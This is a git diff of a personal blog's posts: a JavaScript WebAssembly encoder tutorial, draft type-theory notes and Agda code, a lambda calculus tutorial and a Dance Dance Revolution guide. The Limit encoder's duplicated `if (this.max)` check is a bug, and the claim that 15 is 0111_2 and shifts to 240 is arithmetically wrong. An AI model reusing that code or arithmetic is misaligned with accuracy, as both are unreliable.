+  resultName={["Vec", "ResultType", "NumType", "FuncType"]}
+  code={`
+    class Vec {
+      constructor(items) { this.items = items; }
+      write({ recurse }) {
+        recurse(new UInt(this.items.length));
+        this.items.forEach(item => recurse(item));
+      }
+    }
+
+    class ResultType {
+      constructor(valTypes) { this.valTypes = valTypes; }
+      write({ recurse }) { recurse(new Vec(this.valTypes)); }
+    }
+
+    class NumType {
+      constructor(type) { this.type = type; }
+      write({ emit }) {
+        emit({ "i32": 0x7f, "i64": 0x7e,
+                "f32": 0x7d, "f64": 0x7c }[this.type]);
+      };
+    }
+
+    class FuncType {
+      constructor(rt1, rt2) { this.rt1 = rt1; this.rt2 = rt2; }
+      write({ emit, recurse }) { emit(0x60); recurse(this.rt1); recurse(this.rt2); };
+    }
+
+`}
+/>
+
+If you run this, you'll see that it prints out what we expected:
+
+- `0x60` designates that it's a function type
+- `0x00` means the list of parameter types is empty
+- `0x01` means the list of return types has 1 item
+  - that item is `0x7f`, corresponding to `i32`
+
+<Playground
+  label="Encode [] -> [i32] function"
+  runAction={`
+    const writer = new WasmWriter();
+    writer.write(new FuncType(
+      new ResultType([]),
+      new ResultType([new NumType("i32")]),
+    ));
+    displayResult(writer.display());
+  `}
+/>
+
+Now, on to [tables][table type spec]:
+
+[table type spec]: https://webassembly.github.io/spec/core/binary/types.html#table-types
+
+<CodeBlock
+  resultName={["TableType", "RefType", "Limit"]}
+  code={`
+    class TableType {
+      constructor(et, lim) { this.et = et; this.lim = lim; }
+      write({ recurse }) { recurse(this.et); recurse(this.lim); }
+    }
+
+    class RefType {
+      constructor(type) { this.type = type; }
+      write({ emit }) { emit({"func": 0x70, "extern": 0x6f}[this.type]) }
+    }
+
+    class Limit {
+      constructor(min, max) { this.min = min; this.max = max; }
+      write({ emit, recurse }) {
+        const min = new UInt(this.min), max = new UInt(this.max);
+        if (this.max) { emit(0x1); recurse(min); recurse(max); }
+        if (this.max) { emit(0x0); recurse(min); }
+      }
+    }
+
+`}
+/>
+
+<Playground
+  label="Encode a table of functions with limit [1, 5]"
+  runAction={`
+    const writer = new WasmWriter();
+    writer.write(new TableType(
+      new RefType("func"),
+      new Limit(1, 5),
+    ));
+    displayResult(writer.display());
+  `}
+/>
+
+#### Module
+
+Ok, let's put this all together and make a [module][module spec]!
+
+[module spec]: https://webassembly.github.io/spec/core/binary/modules.html#binary-module
+
+<CodeBlock
+  resultName={["Module"]}
+  code={`
+    class Module {
+      constructor(sections) { this.sections = sections; }
+      write({ emit, recurse }) {
+        emit(0x00); emit(0x61); emit(0x73); emit(0x6d);
+        emit(0x01); emit(0x00); emit(0x00); emit(0x00);
+        this.sections.map(section => recurse(section));
+      }
+    }
+`}
+/>
+
+<Playground
+  label="Encode a module!!"
+  runAction={`
+    const writer = new WasmWriter();
+    writer.write(new Module([
+      new FuncType(new ResultType([]), new ResultType([new NumType("i32")])),
+      new TableType(new RefType("func"), new Limit(0)),
+    ]));
+    displayResult(writer.display());
+
+`}
+/>

src/content/posts/2023-09-08-compiler/style.scss

@@ -0,0 +1,4 @@
+.result {
+  border: 1px solid red;
+  padding: 6px;
+}

src/content/posts/2023-09-15-equality.md

@@ -0,0 +1,122 @@
+---
+title: Equality
+date: 2023-09-15T05:36:53.757Z
+tags:
+  - type-theory
+draft: true
+---
+
+When learning type theory, it's important to make a distinction between several
+kinds of "same"-ness. Whenever you talk about two things being equal, you'd want
+to qualify it with one of these in order to make it clear which you're referring
+to, since they're very different concepts.
+
+- **Definitional**, or **judgmental** equality. This is usually written with
+  $\equiv$ in math. If you see $x \equiv y$, this says "I've defined $x$ and $y$
+  to be the same, so anytime you see $x$, you can replace it with $y$ and vice
+  versa."
+
+  > [!admonition: NOTE]
+  > Technically speaking, definitional and judgmental are two separate concepts
+  > but coincide in many type theories. You could think of multiple levels of
+  > equalities like this:
+  >
+  > - Does $2$ equal $2$? Yes. This is the same object, and equality is reflexive.
+  > - Does $s(s(z))$ equal $2$? Well, typically this is how natural numbers are
+  >   defined in type systems: $2 \equiv s(s(z))$. If somewhere before this, you
+  >   said "let $2$ equal $s(s(z))$", then _by definition_ these are identical.
+  > - Does $1 + 1$ equal $2$? The operation $+$ is a function, and requires a
+  >   β-reduction to evaluate any further. This choice really comes down to the
+  >   choice of the type theory designer; if you wanted a more intensional type
+  >   theory, you could choose to not allow β-reduction during evaluation of
+  >   identities. Most type theories _do_ allow this though.
+  > - Does $x = y$ for any $x$ and $y$?
+  >
+  > As far as I understand, you can choose whatever to _be_ your "definitional"
+  > equality,
+
+- **Propositional** equality. This describes a _value_ that potentially holds
+  true or false. This is typically written $=$ in math.
+
+## Helpful tips
+
+- You can talk about propositional equalities conditionally, like "if $a$ equals
+  $b$, then $c$ is true". This kind of expression doesn't really make sense for
+  judgmental equality, like in the following example:
+
+  Suppose you made the judgment: $x = 2$. It makes no sense to then say "if $x$
+  equals $2$, then $c$ is true." You can just skip right to $c$ is true, because
+  you've defined it to be true, so it's useless even thinking about
+  the case where it's false because that would be a part of a completely
+  different world entirely.
+
+- Here's a concrete example of the difference between judgmental and
+  propositional equality. Consider these 2 expressions:
+
+  - $2 + 3 = 3 + 2$
+  - $\forall x\ y \in \mathbb{N} . (x + y = y + x)$
+
+  In the first case, performing β-reduction on both terms reduces to $5 =
+  5$, which is definitionally equal by virtue of being the exact same symbol.
+
+  In the second case however, β-reduction is impossible. Without a specific
+  $x$ or $y$, there's actually no way to reduce either side more. You would need
+  some other constructs to prove it, such as induction.
+
+- Suppose you were expressing these concepts in a language like TypeScript. The
+  analog of a judgment would be something like:
+
+  ```ts
+  type Foo = string;
+  ```
+
+  Any time you're using `Foo`, you really don't have to compare it with
+  `string`, because just through a simple substitution you will get the same
+  symbol:
+
+  ```
+  function sayHello(who: string) { console.log(`Hello, ${who}`); }
+  function run(foo: Foo) { sayHello(foo); }
+  ```
+
+  On the other hand, a propositional equality type might look something like
+  this instead:
+
+  ```ts
+  class Equal<A, B> {
+    private constructor() {}
+    static refl<A>(): Equal<A, A> {}
+  }
+  ```
+
+  You could have a value of this type, and query on its truthiness:
+
+  ```ts
+  type TwoEqualsTwo = Equal<Two, 2>;
+
+  function trans<A, B, C>(x: Equal<A, B>, y: Equal<B, C>): Equal<A, C> {
+    // magic...
+  }
+  ```
+
+## Notation gotcha
+
+The syntax we use in most math papers and other literature and the syntax we use
+for equalities in various dependently-typed programming languages are annoyingly
+different:
+
+|               | Math         | Agda    | Coq      | Idris   |
+| ------------- | ------------ | ------- | -------- | ------- |
+| Judgmental    | $x \equiv y$ | `x = y` | `x := y` | `x = y` |
+| Propositional | $x = y$      | `x ≡ y` | `x = y`  | `x = y` |
+
+Usually there'll be some other pre-fix way of writing the propositional equals
+in your language too. In Agda, it's `Path {A} x y`.
+
+## More reading
+
+- https://ncatlab.org/nlab/show/definitional+equality
+- https://ncatlab.org/nlab/show/judgment
+- https://ncatlab.org/nlab/show/judgmental+equality
+- https://ncatlab.org/nlab/show/propositional+equality
+- https://hott.github.io/book/hott-ebook.pdf.html

src/content/posts/2023-10-10-dtt-project.md

@@ -0,0 +1,165 @@
+---
+title: DTT Project
+date: 2023-10-11T04:05:23.082Z
+draft: true
+toc: true
+tags:
+  - type-theory
+---
+
+References:
+
+- https://www.cl.cam.ac.uk/~nk480/bidir.pdf
+
+<details>
+  <summary>
+    Agda Imports
+    <small>for the purpose of type-checking</small>
+  </summary>
+
+```agda
+{-# OPTIONS --allow-unsolved-metas --allow-incomplete-matches #-}
+open import Data.Nat
+open import Data.Product
+open import Data.String hiding (_<_)
+open import Relation.Nullary using (Dec)
+open import Relation.Nullary.Decidable using (True; toWitness)
+```
+
+</details>
+
+## Damas-Hindley-Milner type inference
+
+Unification-based algorithm for lambda calculus.
+
+## First try
+
+Implement terms, monotypes, and polytypes:
+
+```agda
+data Term : Set
+data Type : Set
+data Monotype : Set
+```
+
+Regular lambda calculus terms:
+
+$e ::= x \mid () \mid \lambda x. e \mid e e \mid (e : A)$
+
+```agda
+data Term where
+    Unit : Term
+    Var : String → Term
+    Lambda : String → Term → Term
+    App : Term → Term → Term
+    Annot : Term → Type → Term
+```
+
+Polytypes are types that may include universal quantifiers ($\forall$)
+
+$A, B, C ::= 1 \mid \alpha \mid \forall \alpha. A \mid A \rightarrow B$
+
+```agda
+data Type where
+    Unit : Type
+    Var : String → Type
+    Existential : String → Type
+    Forall : String → Type → Type
+    Arrow : Type → Type → Type
+```
+
+Monotypes (usually denoted $\tau$) are types that aren't universally quantified.
+
+> [!admonition: NOTE]
+> In the declarative version of this algorithm, monotypes don't have existential quantifiers either,
+> but the algorithmic type system includes it.
+> TODO: Explain why
+
+```agda
+data Monotype where
+    Unit : Monotype
+    Var : String → Monotype
+    Existential : String → Monotype
+    Arrow : Monotype → Monotype → Monotype
+```
+
+### Contexts
+
+```agda
+data Context : Set where
+    Nil : Context
+    Var : Context → String → Context
+    Annot : Context → String → Type → Context
+    UnsolvedExistential : Context → String → Context
+    SolvedExistential : Context → String → Monotype → Context
+    Marker : Context → String → Context
+
+contextLength : Context → ℕ
+contextLength Nil = zero
+contextLength (Var Γ _) = suc (contextLength Γ)
+contextLength (Annot Γ _ _) = suc (contextLength Γ)
+contextLength (UnsolvedExistential Γ _) = suc (contextLength Γ)
+contextLength (SolvedExistential Γ _ _) = suc (contextLength Γ)
+contextLength (Marker Γ _) = suc (contextLength Γ)
+
+-- https://plfa.github.io/DeBruijn/#abbreviating-de-bruijn-indices
+postulate
+    lookupVar : (Γ : Context) → (n : ℕ) → (p : n < contextLength Γ) → Set
+-- lookupVar (Var Γ x) n p = {!   !}
+-- lookupVar (Annot Γ x x₁) n p = {!   !}
+-- lookupVar (UnsolvedExistential Γ x) n p = {!   !}
+-- lookupVar (SolvedExistential Γ x x₁) n p = {!   !}
+-- lookupVar (Marker Γ x) n p = {!   !}
+
+data CompleteContext : Set where
+    Nil : CompleteContext
+    Var : CompleteContext → String → CompleteContext
+    Annot : CompleteContext → String → Type → CompleteContext
+    SolvedExistential : CompleteContext → String → Monotype → CompleteContext
+    Marker : CompleteContext → String → CompleteContext
+```
+
+### Well-Formedness
+
+```agda
+type-well-formed : (A : Type) → Set
+type-well-formed Unit = {!   !}
+type-well-formed (Var x) = {!   !}
+type-well-formed (Existential x) = {!   !}
+type-well-formed (Forall x A) = {!   !}
+type-well-formed (Arrow A A₁) = {!   !}
+```
+
+### Type checking
+
+```agda
+postulate
+    check : (Γ : Context) → (e : Term) → (A : Type) → Context
+```
+
+```agda
+-- check Γ Unit A = Γ
+```
+
+```agda
+-- check Γ (Var x) A = {!   !}
+-- check Γ (Lambda x e) A = {!   !}
+-- check Γ (App e e₁) A = {!   !}
+-- check Γ (Annot e x) A = {!   !}
+```
+
+### Type synthesizing
+
+```js
+const x = () => {};
+```
+
+```agda
+postulate
+    synthesize : (Γ : Context) → (e : Term) → (Type × Context)
+-- synthesize Γ Unit = Unit , Γ
+-- synthesize Γ (Var x) = {!   !}
+-- synthesize Γ (Lambda x e) = {!   !}
+-- synthesize Γ (App e e₁) = {!   !}
+-- synthesize Γ (Annot e x) = {!   !}
+```

src/content/posts/2023-10-23-path-induction-gadt-perspective.lagda.md

@@ -0,0 +1,147 @@
+---
+title: "Path induction: a GADT perspective"
+slug: 2023-10-23-path-induction-gadt-perspective
+date: 2023-10-23
+tags: ["type-theory", "pl-theory"]
+---
+
+<details>
+<summary>Imports</summary>
+
+```
+-- These types aren't actually imported to improve CI performance :(
+-- It doesn't matter what they are, just that they exist
+data Int : Set where
+postulate
+    String : Set
+{-# BUILTIN STRING String #-}
+
+data _≡_ {l} {A : Set l} : (a b : A) → Set l where
+  instance refl : {x : A} → x ≡ x
+```
+
+</details>
+
+> [!admonition: NOTE]
+> This content is a writeup from a weekend discussion session for the fall 2023 special-topics course CSCI 8980 at the University of Minnesota taught by [Favonia], who provided the examples.
+> This post is primarily a summary of the concepts discussed.
+
+An important concept in [Martin-Löf Type Theory][mltt] is the internal equality[^1] type $\mathrm{Id}$.
+Like all inductive types, it comes with the typical rules used to introduce types:
+
+[^1]:
+    "Internal" here is used to mean something expressed within the type theory itself, rather than in the surrounding meta-theory, which is considered "external."
+    For more info, see [this][equality] page.
+
+- Formation rule
+- Term introduction rule
+- Term elimination rule
+- Computation rule
+
+There's something quite peculiar about the elimination rule for $\mathrm{Id}$ in particular (commonly known as "path induction", or just $J$).
+Let's take a look at its definition, in Agda syntax:
+
+```agda
+J : {A : Set}
+  → (C : (x y : A) → x ≡ y → Set)
+  → (c : (x : A) → C x x refl)
+  → (x y : A) → (p : x ≡ y) → C x y p
+J C c x x refl = c x
+```
+
+<details>
+  <summary>What does this mean?</summary>
+
+An _eliminator_ rule defines how a type is used.
+It's the primitive that often powers programming language features like pattern matching.
+We can break this function down into each of the parameters it takes:
+
+- $C$ is short for "motive".
+  Think of $J$ as producing an $\mathrm{Id} \rightarrow C$ function, but we have to include the other components or else it's not complete.
+- $c$ tells you how to handle the _only_ constructor to $\mathrm{Id}$, which is $\mathrm{refl}$.
+  Think of this as a kind of pattern match on the $\mathrm{refl}$ case, since $\mathrm{Id}$ is just a regular inductive type.
+- $x, y, p$ these are just a part of the final $\mathrm{Id} \rightarrow C$ function.
+
+How $J$ is computed depends on your type theory's primitives; in HoTT you would define it in terms of something like transport.
+
+</details>
+
+There's something odd about this: the $c$ case only defines what happens in the case of $C(x, x, \mathrm{refl})$, but the final $J$ definition extends to arbitrary $C(x, y, p)$.
+How can this be the case?
+
+A good way to think about this is using [generalized algebraic data types][gadt], or GADTs.
+A GADT is similar to a normal inductive data type, but it can be indexed by a type.
+This is similar to polymorphism on data types, but much more powerful.
+Consider the following non-generalized data type:
+
+```agda
+data List (A : Set) : Set where
+  Nil : List A
+  Cons : A → List A → List A
+```
+
+I could write functions with this, but either [polymorphically][polymorphism] (accepts `A : Set` as a parameter, with no knowledge of what the type is) or monomorphically (as a specific `List Int` or `List Bool` or something).
+What I couldn't do would be something like this:
+
+[polymorphism]: https://wiki.haskell.org/Polymorphism
+
+```text
+sum : (A : Set) → List A → A
+sum Int Nil = 0
+sum Int (Cons hd tl) = hd + (sum tl)
+sum A Nil = {!   !}
+sum A (Cons hd tl) = {!   !}
+```
+
+Once I've chosen to go polymorphic, there's no option to know anything about the type, and I can only operate generally on it[^2].
+
+[^2]:
+    As another example, if you have a polymorphic function with the type signature $\forall A . A \rightarrow A$, there's no implementation other than the $\mathrm{id}$ function, because there's no other knowledge about the type.
+    For more info, see [Theorems for Free][free]
+
+With GADTs, this changes.
+The key here is that different constructors of the data type can return different types of the same type family.
+
+```
+data Message : Set → Set₁ where
+  S : String → Message String
+  I : Int → Message Int
+  F : {T : Set} → (f : String → T) → Message T
+```
+
+Note that in the definition, I've moved the parameter from the left side to an [_index_][index] on the right of the colon.
+This means I'm no longer committing to a fully polymorphic `A`, which is now allowed to be assigned anything freely.
+In particular, it's able to take different values for different constructors.
+
+[index]: https://agda.readthedocs.io/en/v2.6.4/language/data-types.html#indexed-datatypes
+
+This allows me to write functions that are polymorphic over _all_ types, while still having the ability to refer to specific types.
+
+```agda
+extract : {A : Set} → Message A → A
+extract (S s) = s
+extract (I i) = i
+extract (F f) = f "hello"
+```
+
+Note that the type signature of `extract` remains fully polymorphic, while each of the cases has full type information.
+This is sound because we know exactly what indexes `Message` could take, and the fact that there are no other ways to construct a `Message` means we won't ever run into a case where we would be stuck on a case we don't know how to handle.
+
+In a sense, each of the pattern match "arms" is giving more information about the polymorphic return type.
+In the `S` case, it can _only_ return `Message String`, and in the `I` case, it can _only_ return `Message Int`.
+We can even have a polymorphic constructor case, as seen in the `F` constructor.
+
+The same thing applies to the $\mathrm{Id}$ type, since $\mathrm{Id}$ is pretty much just a generalized and dependent data type.
+The singular constructor `refl` is only defined on the index `Id A x x`, but the type has a more general `Id A x y`.
+So the eliminator only needs to handle the case of an element of $A$ equal to itself, because that's the "only" constructor for $\mathrm{Id}$ in the first place[^3].
+
+[^3]: Not true in [homotopy type theory][hott], where the titular _univalence_ axiom creates terms in the identity type using equivalences.
+
+Hopefully now the path induction type doesn't seem as "magical" to you anymore!
+
+[mltt]: https://ncatlab.org/nlab/show/Martin-L%C3%B6f+dependent+type+theory
+[equality]: https://ncatlab.org/nlab/show/equality#notions_of_equality_in_type_theory
+[gadt]: https://en.wikipedia.org/wiki/Generalized_algebraic_data_type
+[free]: https://www2.cs.sfu.ca/CourseCentral/831/burton/Notes/July14/free.pdf
+[favonia]: https://favonia.org/
+[hott]: https://homotopytypetheory.org/book/

src/content/posts/2024-04-04-lambda-calculus.md.txt

@@ -0,0 +1,145 @@
+---
+title: The Lambda Calculus
+date: 2024-04-04T21:45:28.264
+draft: true
+toc: true
+languages: ["typst"]
+tags: ["typst"]
+---
+
+The lambda calculus is an abstract machine for modeling computation. In this
+tutorial I will build up the lambda calculus from scratch.
+
+## Expressions
+
+Let's start with expressions. You've probably encountered these in math class.
+They look like things like:
+
+- $3$
+- $5 \times 5$
+- $2\sqrt{12} - 5i$
+
+Some of these probably look like they can be simplified. That's fine! We're not
+worried about that yet. The computation aspect will come in a bit.
+
+### Expression Trees
+
+The important thing here is that all of these have some tree-like structure. For
+example, look at $5 \times 5$:
+
+```typst
+#import "@preview/fletcher:0.4.3" as fletcher: *
+#set page(width: auto, height: auto, margin: (x: 0.25pt, y: 0.25pt))
+#set text(18pt)
+#diagram(cell-size: 0.5cm, $
+    & times edge("dl", ->) edge("dr", ->) \
+    5 & & 5 \
+$)
+```
+
+And that last one, $2\sqrt{12} - 5i$:
+
+```typst
+#import "@preview/fletcher:0.4.3" as fletcher: *
+#import math
+#set page(width: auto, height: auto, margin: (x: 0.5em, y: 0.5em))
+#set text(18pt)
+#diagram(cell-size: 0.5cm, {
+    node(pos: (0, 0), label: $-$)
+    node(pos: (-1, 1), label: $times$)
+    node(pos: (1, 1), label: $times$)
+    edge((0, 0), (-1, 1))
+    edge((0, 0), (1, 1))
+    node(pos: (-1.5, 2), label: $2$)
+    node(pos: (-0.5, 2), label: $math.sqrt(...)$)
+    node(pos: (-0.5, 3), label: $12$)
+    edge((-1, 1), (-1.5, 2))
+    edge((-1, 1), (-0.5, 2))
+    edge((-0.5, 2), (-0.5, 3))
+    node(pos: (0.5, 2), label: $5$)
+    node(pos: (1.5, 2), label: $i$)
+    edge((1, 1), (0.5, 2))
+    edge((1, 1), (1.5, 2))
+})
+```
+
+These follow the order of operations (also known as PEMDAS). They tell you that
+_if_ you were going to evaluate this, you would want to apply it in this
+fashion.
+
+If you look at each point in the tree, you might notice that there's several different types of branches:
+
+- Numbers, like $2$, $5$, or $12$ don't have any children
+- The square root function, $\sqrt{...}$ has 1 child
+- The subtraction ($-$) and multiplication ($\times$) functions have 2 children
+
+The important thing to us is to define a **language** for expressions. This
+way, we know exactly what kinds of expressions we can build. Let's take the
+few operations in the list above and turn it into a **language** for writing
+expressions:
+
+$$
+    e ::= n \mid \sqrt{e} \mid e - e \mid e \times e
+$$
+
+We call these **constructors** of the expression. The notation is a bit dense,
+but this essentially means $e$, which is shorthand for _expression_, is defined
+to be either of ($|$):
+
+- $n$, which is just a convention meaning "any number"
+- $\sqrt{e}$, which means "square root of another expression"
+- $e - e$ and $e \times e$, which correspond to subtraction and multiplication respectively
+
+If you look closely, the number of $e$s in each option corresponds exactly to
+the number of children it had in the expression tree.
+
+Let's write down an expression language for the lambda calculus. In its simplest form, it looks like this:
+
+$$
+    e ::= x \mid \lambda x.e \mid e\; e
+$$
+
+Here, $x$ is a convention that stands for "some variable". Without knowing what any of this means, we can already start putting together some expressions:
+
+- $\lambda x.x$
+- $\lambda s.(\lambda z.(s\; z))$
+
+As an exercise, try drawing some of the expression trees that correspond to
+these expressions. Once you're familiar enough with how expressions are built
+syntactically, we can talk about evaluation.
+
+## Evaluation
+
+The expression language we just defined is typically considered the _statics_ of
+the language. It defines how we can write down the language. What we're going to
+talk about now is the _dynamics_, or how it's evaluated.
+
+<details>
+  <summary>Semantics vs. Implementation</summary>
+
+At this point it's probably a good idea to make a note about _semantics_ vs. _implementation_.
+
+Semantics describe the outcome. If my arithmetic language defines
+multiplication's _semantics_ it would require that multiplication of two numbers
+to achieve another number that has some certain properties, like "repeatedly
+subtracting the first number the same number of times as the second number
+produces 0."
+
+Implementation, on the other hand, needs to conform to the semantics. If I asked
+you to compute $15 \times 16$ by hand, you'd probably bust out some pencil and
+paper and do some long form multiplication, where you'd compute a couple of
+intermediate results and add them, getting $240$.
+
+A computer, on the other hand, notices $16 = 10000_2$, and just shifts $15 =
+0111_2$ over by 4 bits, to get $01110000_2 = 240$. The ways that this same
+result was computed were different, but they achieved the same final result, and
+that result has the property required by the semantics of multiplication.
+
+Just like the example above, the lambda calculus has several different
+implementations of its semantics (for example, the CESK machine or the SECD
+machine). They have a more complex stack structure than a straightforward
+machine implementation in, for example Python, to take. However, we can prove
+that the semantics are the same.
+
+</details>
+

src/content/posts/2024-05-02-ddr/index.mdx

@@ -0,0 +1,315 @@
+---
+title: My Venture into Dance Dance Revolution
+date: 2024-05-02T15:25:14.268
+tags: ["rhythm-games", "life"]
+---
+
+import { Image } from 'astro:assets';
+
+I'm a huge fan of rhythm games.
+Up til now, I've mainly been playing PC / mobile rhythm games such as [osu!], [Muse Dash], [Project Sekai], [Arcaea], etc.
+But since the pandemic has let up, I've been able to go to arcades more frequently and found myself climbing the levels in games like [Chunithm], [Sound Voltex], [WACCA], and dance games like [Dance Dance Revolution (DDR)][DDR].
+
+[osu!]: https://osu.ppy.sh/
+[Muse Dash]: https://store.steampowered.com/app/774171/Muse_Dash/
+[Project Sekai]: https://www.colorfulstage.com/
+[Arcaea]: https://arcaea.lowiro.com
+[Chunithm]: https://en.wikipedia.org/wiki/Chunithm
+[Sound Voltex]: https://en.wikipedia.org/wiki/Sound_Voltex
+[WACCA]: https://en.wikipedia.org/wiki/Wacca_(video_game)
+[DDR]: https://en.wikipedia.org/wiki/Dance_Dance_Revolution
+
+Since January of this year (2024), I have been going to the [Dave and Buster's in Maple Grove][2] pretty regularly to play DDR.
+It's a great rhythm game that's been around for about as long as I've been alive, and it's also a nice workout.
+I regularly hit more than 1,000 calories burned per session according to the in-game tracker.
+
+[2]: https://www.daveandbusters.com/us/en/about/locations/maple-grove
+
+Today I want to share some basics of how the game works as well as going more in-depth about some tips and tricks I've learned in the last 4 months or so of playing this game more seriously.
+If you're considering getting started in DDR, please give this doc a read!
+
+The game
+---
+
+The game itself certainly doesn't need any introduction, but I'm going to give one anyway.
+It's a four-button vertical scrolling rhythm game produced by Konami's rhythm game division [BEMANI].
+Players step on the buttons to the music, matching arrows on the screen.
+
+[Bemani]: https://en.wikipedia.org/wiki/Bemani
+
+![DDR cabinet](./cab.jpg)
+
+The game is conceptually very simple, but like all rhythm games, has an incredibly high skill ceiling.
+Just go on YouTube and search for DDR tournaments and you can see how insane some of the top players are.
+Higher level charts are faster, introduce more technical moves, and have more gimmicky mechanics.
+
+Logistics
+---
+
+I primarily play at my local Dave and Busters, but I discovered that not all Dave and Busters locations have an online DDR machine.
+For the Minneapolis area, the Discord has some pretty up-to-date info on where the locations of working cabs are, check the [zenius-i-vanisher] website.
+
+[MNDiscord]: https://discord.com/invite/bAQ9S9mRZp
+[zenius-i-vanisher]: https://zenius-i-vanisher.com/v5.2/arcades.php
+
+Although you could play on any cab, I've been looking for online cabs in particular.
+The online cabs let you play with an _eAmusement Pass_, which comes with a lot of features I'm going to list below.
+But unless you've got access to a Round 1 near you, these suckers are hard to find.
+Your best bet is probably to order a card from online in that case.
+
+![eAmusement card](./eamuse.png)
+
+Having one of these cards means:
+
+- Saves scores across machines (**BIG**)
+- Saves configuration settings
+- You can unlock songs
+- You don't have to skip the tutorial each time
+- More granular scroll speed changes
+
+You can also sign up for a paid course known as the "Basic" course.
+This includes more features, but costs 330 yen and has a [more involved registration process][1].
+This gives you:
+
+[1]: https://3icecream.com/tutorial/add-basic-course-guide
+- Ability to see score history (**BIG**)
+- Ability to add rivals and see their scores live in game
+- Darker in-game background
+- Fast/slow indicators in game
+
+The ability to see score history is big, because it means you can track your scores, which in my opinion is a big part of the self-improvement aspect of continuing to play this game.
+In particular, being able to see improvement over time as well as tracking overall number of clears / full combo scores can help guide your song choices for future sessions.
+
+Also, Konami frequently performs maintenance on their servers, which means online capabilities like score saving will not be available.
+Make sure to have these dates down.
+
+Gameplay
+---
+
+The most basic elements of DDR are:
+
+- Arrows
+- Freeze
+- Jumps
+
+Arrows are basically just simple steps. If it says to step on a button, then step on it.
+
+import arrows from './arrows.png';
+
+<p><Image src={arrows} alt="arrows" height="240" /></p>
+
+Freeze is the long green button. If it appears, hold it until the green track is over.
+Unlike other rhythm games, holds do _not_ have release judgement.
+This means it doesn't matter if you release it perfectly on time.
+
+import freeze from './freeze.png';
+
+<p><Image src={freeze} alt="freeze" height="240" /></p>
+
+Jumps are when two arrows occur at the same time.
+It could also be an arrow and a freeze note.
+
+import jumps from './jumps.png';
+
+<p><Image src={jumps} alt="jumps" height="240" /></p>
+
+None of these concepts are too hard by themselves, but once you begin grouping them together, they can become incredibly difficult.
+
+There's also a few charts with _shock arrows_, where if you're standing on any of the arrows, then it counts as a miss for the next couple notes.
+These are rather unintuitive to play with initially, and I haven't really gotten the hang of it yet, so I assume it just gets easier with practice.
+
+### Scroll Speed
+
+The scroll speed of the arrows is calculated by the $\textrm{BPM} \times \textrm{Multiplier}$.
+During song select, the BPM will be shown on the top near the title of the song.
+The multiplier is something you set in the options menu, by pressing [9] at the song select screen.
+
+When you're starting out, use this to determine your reading speed.
+For example, if you're comfortable reading 2.0x on a 150 BPM song, that means your reading speed is around $2.0 \times 150 = 300$.
+With this knowledge, when you see a 200 BPM song, you can divide $300 / 200 = 1.5$ to figure out that you need a 1.5x multiplier to read it comfortably.
+
+Some tools like [3icecream] have a BPM calculator for charts if you enter in your reading speed, but often using your phone's calculator or just memorizing some common benchmark BPMs will do just fine.
+
+> [!admonition: NOTE]
+> Since every song you play might be a different BPM, always check to make sure the scroll speed is what you want!
+
+If a song's BPM is variable, it will show a range instead.
+**Be careful when you see this!**
+This means the song may change BPM in the middle.
+There's really no telling _how_ it will change before you play it, unless you look up the chart beforehand on something like [3icecream], which will tell you where all the BPM changes occur.
+
+Generally when I see this, I treat the song as if it's whatever the higher end of that range will be.
+For example, if it says 85~170, I'm going to assume it's 170 BPM.
+This way, there's never a part that's too fast for me to read.
+
+Unfortunately, for some extreme cases (usually on charts from older games), this will make the slow parts almost impossible to read.
+That's just how the game works, so brush up on those slow scroll speed reading skills and hope you make it through this mess.
+
+import mess from './mess.png';
+
+<p><Image src={mess} alt="mess" height="240" /></p>
+
+There's also times when the chart will completely stop for a bit and continue.
+Usually this is done to emphasize something in the song.
+Other times it's just to mess with you.
+Unfortunately, just like the BPM changes, there's not really a good way of knowing where the stops happen ahead of time, so either watch a video of the auto playthrough ahead of time, or just pray.
+An example of a song with a lot of stops is [CHAOS][6].
+
+[6]: https://ddr.stepcharts.com/SuperNOVA/CHAOS/single-challenge
+
+Techs
+---
+
+Every rhythm game has its own technical moves, or "techs" as I call them.
+These are patterns that are generally not as intuitive for new players, but are a skill developed over time.
+Once you see how these work, you start seeing them in charts and begin incorporating the techniques into your normal gameplay.
+
+In DDR, especially in earlier stages, you typically want to avoid "double stepping", which just means stepping on two arrows with the same foot in succession.
+This is because it's not really fast, and you strain the foot and make it harder to step again quickly.
+So most of these patterns make it easier to alternate feet in order to move faster.
+
+Once you incorporate these techs into your gameplay, it'll be easier to make the judgement of whether or not to cross feet for the alternating, or to just double step.
+Of course, there are scenarios where double stepping is required.
+I've found myself in situations where I mispredicted the pattern, and a double step would've continued easier.
+If you're having trouble with a section, you could always study the chart ahead of time and remember where the double step / crosses occur but generally this should be avoided.
+
+**Crossovers.**
+This pattern takes the form of left-down-right or left-up-right, but you'll see it in all different shapes and forms.
+Whenever you see this pattern, you want to take the foot that's not in the middle and move it across to the other side.
+For example, in the excerpt from [SUNKiSS♥DROP\~jun side\~ ESP][3] below, this entire pattern can be done by alternating feet.
+
+[3]: https://ddr.stepcharts.com/SuperNOVA2/SUNKiSS-DROP~jun-Side~/single-expert
+
+import crossover from './crossover.png';
+
+<p><Image src={crossover} alt="crossover" height="240" /></p>
+
+**Scoobys.**
+This pattern involves two sets of three notes going in the same direction but using different middle arrows.
+If the middle is both up or both down, then this pattern doesn't work.
+When you see this, you enter it just like a crossover, but use your other foot to hit the 4th note.
+For example, in the excerpt from [Cirno's Perfect Math Class ESP][4] below, this entire pattern can be done by alternating feet.
+
+[4]: https://ddr.stepcharts.com/A/Cirno's-Perfect-Math-Class/single-expert
+
+import scooby from './scooby.png';
+
+<p><Image src={scooby} alt="scooby" height="240" /></p>
+
+**Footswitches.**
+This pattern usually shows up as repeated arrows (also known as "jacks").
+However, instead of hitting them with the same foot, you can usually _switch_ off to the other foot on the same arrow.
+For example, check out this excerpt from [Air Heroes ESP][5] below.
+Like all the previous examples, this can be done completely by alternating.
+
+[5]: https://ddr.stepcharts.com/2013/Air-Heroes/single-expert
+
+import footswitch from './footswitch.png';
+
+<p><Image src={footswitch} alt="footswitch" height="240" /></p>
+
+There's all sorts of more advanced crossovers that build on top of these and probably even more that I haven't encountered yet.
+If there's anything you think that's worth mentioning here, let me know in the comments at the bottom of this page!
+
+Goals
+---
+
+One of the things I like about DDR is all the different ways there are to enjoy it.
+At a high level, here are some I want to share here:
+
+- Playing for high level clears
+- Playing for high accuracy clears
+- Playing for completion
+- Playing for unlocks
+- Playing courses
+- Playing doubles
+
+When I first started playing this game, all I knew was pushing skill level, and that meant trying to go for as high of a level as I could clear.
+As I pushed outside of my comfort zone for clears, I would get more and more tired, but the thrill from clearing high level charts was well worth the exhaustion.
+
